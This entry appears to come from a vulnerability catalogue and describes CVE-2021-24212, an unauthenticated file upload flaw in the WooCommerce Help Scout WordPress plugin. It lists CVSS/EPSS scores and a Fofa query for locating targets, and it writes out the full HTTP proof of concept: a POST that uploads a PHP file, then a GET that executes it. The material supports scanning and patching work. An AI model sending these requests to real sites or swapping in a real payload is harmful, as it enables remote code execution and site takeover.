| Title | WooCommerce Help Scout - Arbitrary File Upload |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload malicious files, potentially leading to remote code execution or site compromise. |
| Remediation | Update to version 2.9.1 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.68228 |
| CVE ID | CVE-2021-24212 |
| CWE ID | CWE-434 |
| Fofa Query | body="/wp-content/plugins/woocommerce-help-scout" |
| Tags | cve cve2021 wp wordpress wp-plugin file-upload rce woocommerce-help-scout vkev |
WooCommerce Help Scout plugin before version 2.9.1 contains an unrestricted file upload vulnerability. The vulnerability allows unauthenticated users to upload arbitrary files to the server which by default will end up in wp-content/uploads/hstmp/ directory, potentially leading to remote code execution.
POST /wp-admin/admin-ajax.php?action=wc_help_scout_upload_attachments HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Content-Length: 227
Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
Accept-Encoding: gzip
------------------------NCpI6tN3BZW3fz1Y9t2bkf
Content-Disposition: form-data; name="file"; filename="LijxIwDT"
Content-Type: application/x-php
<?php echo md5('2370'); ?>
------------------------NCpI6tN3BZW3fz1Y9t2bkf--
GET /wp-content/uploads/hstmp/LijxIwDT HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24212.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24212.pcap
N/AN/A